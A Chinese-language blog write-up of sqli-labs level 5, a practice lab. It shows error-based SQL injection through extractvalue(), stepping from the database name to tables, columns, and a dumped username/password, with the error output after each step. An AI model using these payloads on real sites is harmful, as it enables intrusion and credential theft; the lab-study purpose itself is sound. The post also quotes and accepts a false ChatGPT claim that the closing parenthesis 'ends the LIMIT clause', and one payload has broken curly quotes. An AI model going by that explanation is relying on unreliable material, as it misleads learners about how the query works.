sqllibs-5
第五题和前面几道题明确有不同
第四题源码(只截取了后半部分)
1 | $id = '"' . $id . '"'; |
第五题源码
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
可见,在if(%row)里面
第五题的没有第四题的
1 | echo 'Your Login name:'. $row['username']; |
只有一句
1 | echo 'You are in...........'; |
所以可见第五题是没回显的
这样的话我们就可以使用报错注入
第一种,(一)、extractvalue报错注入
首先,extractvalue函数的基本格式是
ExtractValue(xml_frag, xpath_expr)
简单来说,第一个就是上传一个xml文档,然后用xpath路径法查找路径
所以这道题上来
1 | ?id=1' and (extractvalue(1,concat('~',database())))--+ |
这里面extractvalue里面是1是为因为这里的节点路径是1,表示根节点。第二个函数表示要连接的字符串,这里是~和database()函数的结果。
然后继续输入
1 | ?id=1' and (extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema = 'security')))) --+ |
回显
1 | XPATH syntax error: '~emails,referers,uagents,users' |
证明里面有emails,referers,uagents,users四个库
下一步直接跟之前一样
1 | ?id=1’and (extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’)))) --+ |
查看列名
最后就是
1 | ?id=1' and (extractvalue(1,concat('~',(select concat(username,password) from security.users limit 0,1)))) --+ |
炸出了
1 | XPATH syntax error: '~DumbDumb' |
为什么是limit0,1)
chatgpt是这么说的
1 | 这段代码是一种SQL注入攻击的尝试,它试图从名为security.users的数据库表中获取第一个用户的用户名和密码。在SQL查询中,LIMIT 0,1的作用是限制结果集的行数,其中0表示从第0行开始,1表示只返回一行结果。 |
所以我感觉是不是可以不用)直接limit 0,1
浅浅的试了一下,加成limit(0,1)和limit 0,1都不行
奇怪的语法
1 | 在这个SQL注入攻击的语句中,右括号 ) 的作用是结束 LIMIT 子句。这是因为在这个攻击中,攻击者试图向查询中注入一个新的 SQL 子句,以此来控制查询的行为。在这种情况下,攻击者通过在注入语句的结尾添加一个右括号来关闭 LIMIT 子句。 |
很好,懂了
(这里因为我懒就只用了第一种,等哪天再来填坑)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 游走树海之间の咸鱼摊!






